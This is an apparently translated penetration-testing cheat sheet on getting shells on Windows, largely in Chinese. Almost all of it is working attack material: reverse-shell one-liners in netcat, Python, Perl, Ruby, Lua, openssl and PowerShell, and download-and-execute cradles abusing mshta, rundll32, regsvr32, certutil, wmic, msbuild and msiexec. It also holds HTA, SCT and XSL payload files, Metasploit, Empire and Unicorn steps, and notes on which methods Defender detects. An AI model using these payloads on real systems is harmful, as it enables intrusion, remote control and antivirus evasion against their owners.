Shells - Windows
Try Hard Security Group

Lolbas
页面lolbas-project.github.io是为Windows准备的,就像https://gtfobins.github.io/是为Linux准备的。 显然,在Windows中没有SUID文件或sudo权限,但了解一些二进制文件如何(被)滥用以执行某种意外操作,比如执行任意代码是很有用的。
NC
nc.exe -e cmd.exe <Attacker_IP> <PORT>
SBD
sbd是一种便携且安全的Netcat替代工具。它适用于类Unix系统和Win32。具有强加密、程序执行、可定制源端口和持续重新连接等功能,sbd为TCP/IP通信提供了多功能解决方案。对于Windows用户,可以使用Kali Linux发行版中的sbd.exe版本作为可靠的Netcat替代品。
# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444
# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)
Python
Python
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
Perl
Perl是一种通用的脚本语言,可用于在Windows系统上执行各种任务。Perl脚本可以用于执行系统命令、文件操作、网络通信等操作。Perl在Windows系统上的使用非常灵活,可以通过Perl脚本轻松实现各种自定义功能。
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby
Ruby
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Lua
Lua是一种轻量级、高效的脚本语言,常用于嵌入式系统和游戏开发中。 Lua脚本可以通过C语言编写的解释器来运行。 Lua具有简洁的语法和强大的扩展能力,被广泛应用于各种领域。 Lua脚本可以通过调用系统命令执行操作系统级别的任务。
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
OpenSSH
攻击者(Kali)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
受害者
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
Powershell
Powershell
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
执行网络调用的进程:powershell.exe 写入磁盘的有效负载:否(至少在我使用procmon时找不到!)
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
网络调用执行的进程:svchost.exe 写入磁盘的有效载荷:WebDAV客户端本地缓存
一行代码:
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
在本文末尾获取有关不同Powershell Shell的更多信息
Mshta
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
mshta \\webdavserver\folder\payload.hta
hta-psh反向外壳示例(使用hta下载并执行PS后门)
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
您可以非常容易地使用stager hta下载并执行Koadic僵尸程序
hta示例
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
mshta - sct
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
Mshta - Metasploit
Mshta is a utility in Windows that executes Microsoft HTML Applications (HTA). Metasploit has a module that can be used to execute malicious HTA payloads using mshta.exe. This technique can be used to bypass application whitelisting and execute code on a target system.
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
被防御者检测到
Rundll32
rundll32 \\webdavserver\folder\payload.dll,entrypoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
被防御者检测到
Rundll32 - sct
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
Rundll32 - Metasploit
use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
Rundll32 - Koadic
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
Regsvr32
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
被防御者检测到
Regsvr32 -sct
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
Regsvr32 - Metasploit
use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
您可以使用stager regsvr轻松下载并执行Koadic僵尸程序
Certutil
下载一个B64dll,解码并执行它。
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
下载一个B64exe,解码并执行它。
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
被防御者检测到
Cscript/Wscript
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
Cscript - Metasploit
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
被防御者检测到
PS-Bat
\\webdavserver\folder\batchfile.bat
执行网络调用的进程:svchost.exe 写入磁盘的有效载荷:WebDAV 客户端本地缓存
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat
被防御者检测到
MSIExec
攻击者
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
受害者:
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
检测到
Wmic
wmic os get /format:"https://webserver/payload.xsl"
示例xsl文件在这里:
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>
未被检测
您可以使用分段器wmic轻松下载并执行Koadic僵尸
Msbuild
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
你可以使用这种技术来绕过应用程序白名单和Powershell.exe限制。由于你将会收到一个PS shell提示。 只需下载这个文件并执行它:https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
未被检测
CSC
在受害者机器上编译C#代码。
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
你可以从这里下载一个基本的C#反向shell:https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc
未被检测
Regasm/Regsvc
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
我还没有尝试过
https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182
Odbcconf
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
我还没有尝试过
https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2
Powershell Shells
PS-Nishang
https://github.com/samratashok/nishang
在Shells文件夹中,有许多不同的shell。要下载并执行Invoke-PowerShellTcp.ps1,请复制该脚本并附加到文件末尾:
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
在Web服务器上开始提供脚本,并在受害者端执行它:
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
Defender尚未将其检测为恶意代码(截至2019年3月4日)。
TODO: 检查其他nishang shells
PS-Powercat
https://github.com/besimorhino/powercat
下载,启动Web服务器,启动监听器,并在受害者端执行:
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
powercat提供的其他选项:
绑定shell、反向shell(TCP、UDP、DNS)、端口重定向、上传/下载、生成载荷、提供文件...
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep
Empire
https://github.com/EmpireProject/Empire
创建一个PowerShell启动器,保存到文件中,然后下载并执行它。
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
检测为恶意代码
MSF-Unicorn
https://github.com/trustedsec/unicorn
使用unicorn创建metasploit后门的PowerShell版本
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
使用创建的资源启动msfconsole:
msfconsole -r unicorn.rc
在受害者上启动一个提供_powershell_attack.txt_文件的Web服务器,并执行:
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
检测到恶意代码
更多
PS>Attack PS控制台,预装一些具有攻击性的PS模块(加密) https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9 WinPWN PS控制台,预装一些具有攻击性的PS模块和代理检测(IEX)
参考资料

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